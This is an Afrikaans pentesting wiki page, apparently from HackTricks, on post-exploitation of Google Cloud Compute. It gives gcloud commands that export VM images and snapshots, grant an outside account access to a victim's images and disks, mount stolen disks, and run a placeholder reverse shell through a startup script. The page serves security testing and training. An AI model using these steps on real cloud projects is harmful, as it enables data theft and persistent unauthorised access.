4.3 KiB
GCP - Compute Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
Compute
Vir meer inligting oor Compute en VPC (Netwerk) kyk:
{{#ref}} ../gcp-services/gcp-compute-instances-enum/ {{#endref}}
Eksporteer & Ondersoek Beelde plaaslik
Dit sou 'n aanvaller in staat stel om toegang te verkry tot die data wat in reeds bestaande beelde bevat is of nuwe beelde van lopende VM's te skep en toegang tot hul data te verkry sonder om toegang tot die lopende VM te hê.
Dit is moontlik om 'n VM-beeld na 'n emmer te eksporteer en dit dan af te laai en plaaslik te monteer met die opdrag:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Voordat hierdie aksie uitgevoer kan word, mag die aanvaller moontlik voorregte oor die stooremmer benodig en beslis voorregte oor cloudbuild aangesien dit die diens is wat gevra gaan word om die uitvoer uit te voer.
Boonop, om dit te laat werk, benodig die codebuild SA en die compute SA voorregte.
Die cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benodig:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
En die SA <project-id>-compute@developer.gserviceaccount.com benodig:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Eksporteer & Ondersoek Snapshots & Skyfies plaaslik
Dit is nie moontlik om snapshots en skyfies direk te eksporteer nie, maar dit is moontlik om 'n snapshot in 'n skyf, 'n skyf in 'n beeld te transformeer en volgens die vorige afdeling, daardie beeld te eksporteer om dit plaaslik te ondersoek.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspect an Image creating a VM
Met die doel om toegang te verkry tot die data wat in 'n beeld gestoor is of binne 'n lopende VM van waar 'n aanvaller 'n beeld geskep het, is dit moontlik om 'n eksterne rekening toegang tot die beeld te gee:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
en dan 'n nuwe VM daaruit skep:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
As jy nie jou eksterne rekening toegang oor die beeld kon gee nie, kan jy 'n VM met daardie beeld in die slagoffer se projek begin en die metadata laat 'n omgekeerde skulp uitvoer om toegang tot die beeld te verkry deur die param by te voeg:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Inspekteer 'n Snapshot/Skyf deur dit aan 'n VM te koppel
Met die doel om toegang te verkry tot die data wat in 'n skyf of 'n snapshot gestoor is, kan jy die snapshot in 'n skyf transformeer, 'n skyf in 'n beeld en die vorige stappe volg.
Of jy kan 'n eksterne rekening toegang verleen oor die skyf (as die beginpunt 'n snapshot is, gee toegang oor die snapshot of skep 'n skyf daarvan):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Koppel die skyf aan 'n instansie:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Monteer die skyf binne die VM:
- SSH in die VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifiseer die Skyf: Sodra jy binne die VM is, identifiseer die nuwe skyf deur die skyf toestelle te lys. Gewoonlik kan jy dit vind as
/dev/sdb,/dev/sdc, ens. - Formateer en Monteer die Skyf (as dit 'n nuwe of rou skyf is):
- Skep 'n monteerpunt:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monteer die skyf:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
As jy nie toegang tot 'n eksterne projek vir die snapshot of skyf kan gee nie, moet jy dalk hierdie aksies binne 'n instansie in dieselfde projek as die snapshot/skyf uitvoer.
{{#include ../../../banners/hacktricks-training.md}}